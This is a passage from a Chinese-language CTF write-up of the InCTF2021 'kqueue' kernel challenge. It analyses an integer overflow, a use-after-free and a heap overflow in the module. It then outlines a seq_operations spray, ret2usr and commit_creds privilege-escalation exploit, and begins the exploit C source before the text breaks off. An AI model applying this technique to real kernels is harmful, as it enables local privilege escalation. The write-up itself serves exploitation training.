punctuation">(</span><span class="token function">validate</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">char</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token function">kmalloc</span><span class="token punctuation">(</span>request<span class="token punctuation">.</span>data_size<span class="token punctuation">,</span>GFP_KERNEL<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">/* Increment current_entry by size of queue_entry */</span>        current_entry <span class="token operator">+=</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>queue_entry<span class="token punctuation">)</span><span class="token operator">/</span><span class="token number">16</span><span class="token punctuation">;</span>        <span class="token comment">/* Populate next pointer of the previous entry */</span>        prev_entry<span class="token operator">-></span>next <span class="token operator">=</span> current_entry<span class="token punctuation">;</span>        prev_entry <span class="token operator">=</span> prev_entry<span class="token operator">-></span>next<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token comment">/* Find an appropriate slot in kqueues */</span>    <span class="token class-name">uint32_t</span> j <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>    <span class="token keyword">for</span><span class="token punctuation">(</span>j<span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">;</span>j<span class="token operator">&lt;</span>MAX_QUEUES<span class="token punctuation">;</span>j<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token keyword">if</span><span class="token punctuation">(</span>kqueues<span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token constant">NULL</span><span class="token punctuation">)</span>            <span class="token keyword">break</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>j<span class="token operator">></span>MAX_QUEUES<span class="token punctuation">)</span>        <span class="token function">err</span><span class="token punctuation">(</span><span class="token string">"[-] No kqueue slot left"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">/* Assign the newly created kqueue to the kqueues */</span>    kqueues<span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">=</span> queue<span class="token punctuation">;</span>    queueCount<span class="token operator">++</span><span class="token punctuation">;</span>    result <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> result<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>create 分配队列，queue 的 data 字段和每个 entry 的 data 字段，分配 data_size 大小的内存，所有entry 结构紧跟在 queue 后面，entry 之间还通过 next 指针链接起来，queue 指针存放到全局 kqueues 变量数组里，queue 的情况大致如下：</p><pre class="line-numbers language-none"><code class="language-none">queue(size &#x3D; sizeof(queue_entry) * (request.max_entries+1) + sizeof(queue)):data_size    queue_size    max_entries    idx    data    struct queue_entry[max_entries];<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>其中的 <code>__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&amp;space)</code> 的作用是 <code>space = sizeof(queue_entry) * (request.max_entries+1)</code>，并且乘法溢出的时候返回 true，后面的 <code>__builtin_saddll_overflow</code> 就是加法溢出检查了</p><p>溢出检查存在一个问题，就是 <code>(request.max_entries+1)</code> 这里本身没有做溢出检查，使 <code>max_entries</code> 为 0xffffffff，那么加 1 溢出为0，最后计算出来 <code>queue_size = sizeof(queue)</code> 就不对了</p><p>然后还有一个应该是出题人写错的地方，就是这个 <code>err</code> 是个函数：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">static</span> <span class="token keyword">long</span> <span class="token function">err</span><span class="token punctuation">(</span><span class="token keyword">char</span><span class="token operator">*</span> msg<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token function">printk</span><span class="token punctuation">(</span>KERN_ALERT <span class="token string">"%s\n"</span><span class="token punctuation">,</span>msg<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>所有的检查失败都调用这个函数，但是<strong>这个函数并不会影响后面的流程，那么所有的参数检查都是无效的</strong>，因为这个问题，后面利用的时候比官方 wp 还要简单，应该是非预期了，如果 <code>err</code> 写成宏函数就没有问题了</p><p>delete 操作只是把队列删掉了，指针也置 NULL 了，不过还有槽点，指针 free 后还要改写其指向内容，这会破坏堆管理吧（应该又是写错了）：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">static</span> noinline <span class="token keyword">long</span> <span class="token function">delete_kqueue</span><span class="token punctuation">(</span><span class="token class-name">request_t</span> request<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token comment">/* Check for out of bounds requests */</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>request<span class="token punctuation">.</span>queue_idx<span class="token operator">></span>MAX_QUEUES<span class="token punctuation">)</span>        <span class="token function">err</span><span class="token punctuation">(</span><span class="token string">"[-] Invalid idx"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">/* Check for existence of the request kqueue */</span>    queue <span class="token operator">*</span>queue <span class="token operator">=</span> kqueues<span class="token punctuation">[</span>request<span class="token punctuation">.</span>queue_idx<span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span>queue<span class="token punctuation">)</span>        <span class="token function">err</span><span class="token punctuation">(</span><span class="token string">"[-] Requested kqueue does not exist"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">kfree</span><span class="token punctuation">(</span>queue<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">memset</span><span class="token punctuation">(</span>queue<span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span>queue<span class="token operator">-></span>queue_size<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// UAF</span>    kqueues<span class="token punctuation">[</span>request<span class="token punctuation">.</span>queue_idx<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token constant">NULL</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>edit 操作:</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">static</span> noinline <span class="token keyword">long</span> <span class="token function">edit_kqueue</span><span class="token punctuation">(</span><span class="token class-name">request_t</span> request<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token comment">/* Check the idx of the kqueue */</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>request<span class="token punctuation">.</span>queue_idx <span class="token operator">></span> MAX_QUEUES<span class="token punctuation">)</span>        <span class="token function">err</span><span class="token punctuation">(</span><span class="token string">"[-] Invalid kqueue idx"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">/* Check if the kqueue exists at that idx */</span>    queue <span class="token operator">*</span>queue <span class="token operator">=</span> kqueues<span class="token punctuation">[</span>request<span class="token punctuation">.</span>queue_idx<span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span>queue<span class="token punctuation">)</span>        <span class="token function">err</span><span class="token punctuation">(</span><span class="token string">"[-] kqueue does not exist"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">/* Check the idx of the kqueue entry */</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>request<span class="token punctuation">.</span>entry_idx <span class="token operator">></span> queue<span class="token operator">-></span>max_entries<span class="token punctuation">)</span>        <span class="token function">err</span><span class="token punctuation">(</span><span class="token string">"[-] Invalid kqueue entry_idx"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">/* Get to the kqueue entry memory */</span>    queue_entry <span class="token operator">*</span>kqueue_entry <span class="token operator">=</span> <span class="token punctuation">(</span>queue_entry <span class="token operator">*</span><span class="token punctuation">)</span><span class="token punctuation">(</span>queue <span class="token operator">+</span> <span class="token punctuation">(</span><span class="token keyword">sizeof</span><span class="token punctuation">(</span>queue<span class="token punctuation">)</span><span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token operator">/</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">/* Check for the existence of the kqueue entry */</span>    exists <span class="token operator">=</span> false<span class="token punctuation">;</span>    <span class="token class-name">uint32_t</span> i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span>    <span class="token keyword">for</span><span class="token punctuation">(</span>i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span>i<span class="token operator">&lt;</span>queue<span class="token operator">-></span>max_entries<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">;</span>i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>                <span class="token comment">/* If kqueue entry found , do the necessary */</span>        <span class="token keyword">if</span><span class="token punctuation">(</span>kqueue_entry <span class="token operator">&amp;&amp;</span> request<span class="token punctuation">.</span>data <span class="token operator">&amp;&amp;</span> queue<span class="token operator">-></span>data_size<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>            <span class="token keyword">if</span><span class="token punctuation">(</span>kqueue_entry<span class="token operator">-></span>idx <span class="token operator">==</span> request<span class="token punctuation">.</span>entry_idx<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>                <span class="token function">validate</span><span class="token punctuation">(</span><span class="token function">memcpy</span><span class="token punctuation">(</span>kqueue_entry<span class="token operator">-></span>data<span class="token punctuation">,</span>request<span class="token punctuation">.</span>data<span class="token punctuation">,</span>queue<span class="token operator">-></span>data_size<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                exists <span class="token operator">=</span> true<span class="token punctuation">;</span>            <span class="token punctuation">&#125;</span>        <span class="token punctuation">&#125;</span>        kqueue_entry <span class="token operator">=</span> kqueue_entry<span class="token operator">-></span>next<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token comment">/* What if the idx is 0, it means we have to update the main kqueue's data */</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>request<span class="token punctuation">.</span>entry_idx<span class="token operator">==</span><span class="token number">0</span> <span class="token operator">&amp;&amp;</span> kqueue_entry <span class="token operator">&amp;&amp;</span> request<span class="token punctuation">.</span>data <span class="token operator">&amp;&amp;</span> queue<span class="token operator">-></span>data_size<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token function">validate</span><span class="token punctuation">(</span><span class="token function">memcpy</span><span class="token punctuation">(</span>queue<span class="token operator">-></span>data<span class="token punctuation">,</span>request<span class="token punctuation">.</span>data<span class="token punctuation">,</span>queue<span class="token operator">-></span>data_size<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span>exists<span class="token punctuation">)</span>        <span class="token keyword">return</span> NOT_EXISTS<span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span> <span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>根据参数 queue_idx 选择队列，找到 entry_idx 对应的 entry 写入 data 指向的数据，需要注意的是 queue 结构体也有一个 data 字段，这个相当于 entry_idx 为 0 的 entry，可以算是头节点吧，没有什么漏洞点，但是这里也有个槽点，就是这个 request-&gt;data 可是用户地址空间的指针，要不是 SMAP 没开，<code>validate(memcpy(kqueue_entry-&gt;data,request.data,queue-&gt;data_size));</code> 就炸了</p><p>save 操作：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">static</span> noinline <span class="token keyword">long</span> <span class="token function">save_kqueue_entries</span><span class="token punctuation">(</span><span class="token class-name">request_t</span> request<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token comment">/* Check for out of bounds queue_idx requests */</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>request<span class="token punctuation">.</span>queue_idx <span class="token operator">></span> MAX_QUEUES<span class="token punctuation">)</span>        <span class="token function">err</span><span class="token punctuation">(</span><span class="token string">"[-] Invalid kqueue idx"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">/* Check if queue is already saved or not */</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>isSaved<span class="token punctuation">[</span>request<span class="token punctuation">.</span>queue_idx<span class="token punctuation">]</span><span class="token operator">==</span>true<span class="token punctuation">)</span>        <span class="token function">err</span><span class="token punctuation">(</span><span class="token string">"[-] Queue already saved"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    queue <span class="token operator">*</span>queue <span class="token operator">=</span> <span class="token function">validate</span><span class="token punctuation">(</span>kqueues<span class="token punctuation">[</span>request<span class="token punctuation">.</span>queue_idx<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">/* Check if number of requested entries exceed the existing entries */</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>request<span class="token punctuation">.</span>max_entries <span class="token operator">&lt;</span> <span class="token number">1</span> <span class="token operator">||</span> request<span class="token punctuation">.</span>max_entries <span class="token operator">></span> queue<span class="token operator">-></span>max_entries<span class="token punctuation">)</span>        <span class="token function">err</span><span class="token punctuation">(</span><span class="token string">"[-] Invalid entry count"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">/* Allocate memory for the kqueue to be saved */</span>    <span class="token keyword">char</span> <span class="token operator">*</span>new_queue <span class="token operator">=</span> <span class="token function">validate</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">char</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token function">kzalloc</span><span class="token punctuation">(</span>queue<span class="token operator">-></span>queue_size<span class="token punctuation">,</span>GFP_KERNEL<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">/* Each saved entry can have its own size */</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>request<span class="token punctuation">.</span>data_size <span class="token operator">></span> queue<span class="token operator">-></span>queue_size<span class="token punctuation">)</span>        <span class="token function">err</span><span class="token punctuation">(</span><span class="token string">"[-] Entry size limit exceed"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">/* Copy main's queue's data */</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>queue<span class="token operator">-></span>data <span class="token operator">&amp;&amp;</span> request<span class="token punctuation">.</span>data_size<span class="token punctuation">)</span>        <span class="token function">validate</span><span class="token punctuation">(</span><span class="token function">memcpy</span><span class="token punctuation">(</span>new_queue<span class="token punctuation">,</span>queue<span class="token operator">-></span>data<span class="token punctuation">,</span>request<span class="token punctuation">.</span>data_size<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">else</span>        <span class="token function">err</span><span class="token punctuation">(</span><span class="token string">"[-] Internal error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    new_queue <span class="token operator">+=</span> queue<span class="token operator">-></span>data_size<span class="token punctuation">;</span>    <span class="token comment">/* Get to the entries of the kqueue */</span>    queue_entry <span class="token operator">*</span>kqueue_entry <span class="token operator">=</span> <span class="token punctuation">(</span>queue_entry <span class="token operator">*</span><span class="token punctuation">)</span><span class="token punctuation">(</span>queue <span class="token operator">+</span> <span class="token punctuation">(</span><span class="token keyword">sizeof</span><span class="token punctuation">(</span>queue<span class="token punctuation">)</span><span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token operator">/</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">/* copy all possible kqueue entries */</span>    <span class="token class-name">uint32_t</span> i<span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">;</span>    <span class="token keyword">for</span><span class="token punctuation">(</span>i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span>i<span class="token operator">&lt;</span>request<span class="token punctuation">.</span>max_entries<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">;</span>i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span>kqueue_entry <span class="token operator">||</span> <span class="token operator">!</span>kqueue_entry<span class="token operator">-></span>data<span class="token punctuation">)</span>            <span class="token keyword">break</span><span class="token punctuation">;</span>        <span class="token keyword">if</span><span class="token punctuation">(</span>kqueue_entry<span class="token operator">-></span>data <span class="token operator">&amp;&amp;</span> request<span class="token punctuation">.</span>data_size<span class="token punctuation">)</span>            <span class="token function">validate</span><span class="token punctuation">(</span><span class="token function">memcpy</span><span class="token punctuation">(</span>new_queue<span class="token punctuation">,</span>kqueue_entry<span class="token operator">-></span>data<span class="token punctuation">,</span>request<span class="token punctuation">.</span>data_size<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">else</span>            <span class="token function">err</span><span class="token punctuation">(</span><span class="token string">"[-] Internal error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        kqueue_entry <span class="token operator">=</span> kqueue_entry<span class="token operator">-></span>next<span class="token punctuation">;</span>        new_queue <span class="token operator">+=</span> queue<span class="token operator">-></span>data_size<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token comment">/* Mark the queue as saved */</span>    isSaved<span class="token punctuation">[</span>request<span class="token punctuation">.</span>queue_idx<span class="token punctuation">]</span> <span class="token operator">=</span> true<span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>save 操作把指定数量的 data 存放到新分配的大小为 <code>queue_size</code> 的内存里，然后这里有个漏洞点：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>    <span class="token comment">/* Each saved entry can have its own size */</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>request<span class="token punctuation">.</span>data_size <span class="token operator">></span> queue<span class="token operator">-></span>queue_size<span class="token punctuation">)</span>        <span class="token function">err</span><span class="token punctuation">(</span><span class="token string">"[-] Entry size limit exceed"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>queue<span class="token operator">-></span>data <span class="token operator">&amp;&amp;</span> request<span class="token punctuation">.</span>data_size<span class="token punctuation">)</span>        <span class="token function">validate</span><span class="token punctuation">(</span><span class="token function">memcpy</span><span class="token punctuation">(</span>new_queue<span class="token punctuation">,</span>queue<span class="token operator">-></span>data<span class="token punctuation">,</span>request<span class="token punctuation">.</span>data_size<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>    <span class="token keyword">for</span><span class="token punctuation">(</span>i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span>i<span class="token operator">&lt;</span>request<span class="token punctuation">.</span>max_entries<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">;</span>i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span>kqueue_entry <span class="token operator">||</span> <span class="token operator">!</span>kqueue_entry<span class="token operator">-></span>data<span class="token punctuation">)</span>            <span class="token keyword">break</span><span class="token punctuation">;</span>        <span class="token keyword">if</span><span class="token punctuation">(</span>kqueue_entry<span class="token operator">-></span>data <span class="token operator">&amp;&amp;</span> request<span class="token punctuation">.</span>data_size<span class="token punctuation">)</span>            <span class="token function">validate</span><span class="token punctuation">(</span><span class="token function">memcpy</span><span class="token punctuation">(</span>new_queue<span class="token punctuation">,</span>kqueue_entry<span class="token operator">-></span>data<span class="token punctuation">,</span>request<span class="token punctuation">.</span>data_size<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">else</span>            <span class="token function">err</span><span class="token punctuation">(</span><span class="token string">"[-] Internal error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        kqueue_entry <span class="token operator">=</span> kqueue_entry<span class="token operator">-></span>next<span class="token punctuation">;</span>        new_queue <span class="token operator">+=</span> queue<span class="token operator">-></span>data_size<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>所有的 memcpy 使用的长度都是用户传递过来的 <code>request.data_size</code>，而参数检查里面只检查了 <code>request.data_size</code> 是否超过 <code>queue-&gt;queue_size</code>， 理应是 <code>if(request.data_size &gt; queue-&gt;data_size)</code>，这就存在一个堆溢出了 （<del>虽然参数检查一点用没有</del>）</p><h2 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h2><h3 id="方法一"><a href="#方法一" class="headerlink" title="方法一"></a>方法一</h3><p>如果不考虑参数检查，利用方式非常简单，同时这也是 <a href="https://arttnba3.cn/2021/03/03/NOTE-0X03-LINUX-KERNEL-PWN-PART-II/#%E4%BE%8B%E9%A2%98%EF%BC%9AInCTF2021-Kqueue"><strong>@arttnba3</strong></a> 师傅的做法</p><ol><li>create 操作，利用 <code>request.max_entries=0xffffffff</code> 溢出，创造一个只有 0x18 大小的 queue，并且忽略参数检查，data_size 比 queue_size 大，后面 save 才能溢出</li><li>堆喷射大量的 seq_operations，堆溢出后改写 seq_operations 的指针劫持程序执行流</li><li>劫持程序执行流，ret2usr，根据栈上面的数据泄露内核基址，执行 <code>commit_creds(prepare_kernel_cred(0));</code> 提权后返回用户态起 shell 即可</li></ol><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdlib.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;sys/ioctl.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;fcntl.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;unistd.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdint.h></span></span><span class="token keyword">typedef</span> <span class="token keyword">struct</span><span class="token punctuation">&#123;</span>    <span class="token class-name">uint32_t</span> max_entries<span class="token punctuation">;</span>    <span class="token class-name">uint16_t</span> data_size<span class="token punctuation">;</span>    <span class="token class-name">uint16_t</span> entry_idx<span class="token punctuation">;</span>    <span class="token class-name">uint16_t</span> queue_idx<span class="token punctuation">;</span>    <span class="token keyword">char</span><span class="token operator">*</span> data<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token class-name">request_t</span><span class="token punctuation">;</span><span class="token keyword">int</span> fd<span class="token punctuation">;</span><span class="token keyword">void</span> <span class="token function">create_kqueue</span><span class="token punctuation">(</span><span class="token class-name">uint32_t</span> max_entries<span class="token punctuation">,</span> <span class="token class-name">uint16_t</span> data_size<span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token class-name">request_t</span> req <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token punctuation">.</span>max_entries <span class="token operator">=</span> max_entries<span class="token punctuation">,</span><span class="token punctuation">.</span>data_size <span class="token operator">=</span> data_size<span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token function">ioctl</span><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> <span class="token number">0xDEADC0DE</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>req<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">void</span> <span class="token function">edit_kqueue</span><span class="token punctuation">(</span><span class="token class-name">uint16_t</span> queue_idx<span class="token punctuation">,</span> <span class="token class-name">uint16_t</span> entry_idx<span class="token punctuation">,</span>  <span class="token keyword">void</span> <span class="token operator">*</span>data<span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token class-name">request_t</span> req <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token punctuation">.</span>queue_idx <span class="token operator">=</span> queue_idx<span class="token punctuation">,</span><span class="token punctuation">.</span>data <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">char</span> <span class="token operator">*</span><span class="token punctuation">)</span>data<span class="token punctuation">,</span><span class="token punctuation">.</span>entry_idx <span class="token operator">=</span> entry_idx<span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token function">ioctl</span><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> <span class="token number">0xDAADEEEE</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>req<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">void</span> <span class="token function">delete_kqueue</span><span class="token punctuation">(</span><span class="token class-name">uint16_t</span> queue_idx<span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token class-name">request_t</span> req <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token punctuation">.</span>queue_idx  <span class="token operator">=</span> queue_idx<span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token function">ioctl</span><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> <span class="token number">0xBADDCAFE</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>req<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">void</span> <span class="token function">save_kqueue</span><span class="token punctuation">(</span><span class="token class-name">uint16_t</span> queue_idx<span class="token punctuation">,</span> <span class="token class-name">uint32_t</span> max_entries<span class="token punctuation">,</span> <span class="token class-name">uint16_t</span> data_size<span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token class-name">request_t</span> req <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token punctuation">.</span>queue_idx  <span class="token operator">=</span> queue_idx<span class="token punctuation">,</span><span class="token punctuation">.</span>data_size <span class="token operator">=</span> data_size<span class="token punctuation">,</span><span class="token punctuation">.</span>max_entries <span class="token operator">=</span> max_entries<span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token function">ioctl</span><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> <span class="token number">0xB105BABE</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>req<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">unsigned</span> <span class="token keyword">long</span> user_cs<span class="token punctuation">,</span> user_ss<span class="token punctuation">,</span> user_rflags<span class="token punctuation">,</span> user_sp<span class="token punctuation">;</span><span class="token keyword">void</span> <span class="token function">save_stat</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span> <span class="token comment">//保护环境</span><span class="token keyword">asm</span><span class="token punctuation">(</span><span class="token string">"movq %%cs, %0;"</span><span class="token string">"movq %%ss, %1;"</span><span class="token string">"movq %%rsp, %2;"</span><span class="token string">"pushfq;"</span><span class="token string">"popq %3;"</span><span class="token operator">:</span> <span class="token string">"=r"</span><span class="token punctuation">(</span>user_cs<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token string">"=r"</span><span class="token punctuation">(</span>user_ss<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token string">"=r"</span><span class="token punctuation">(</span>user_sp<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token string">"=r"</span><span class="token punctuation">(</span>user_rflags<span class="token 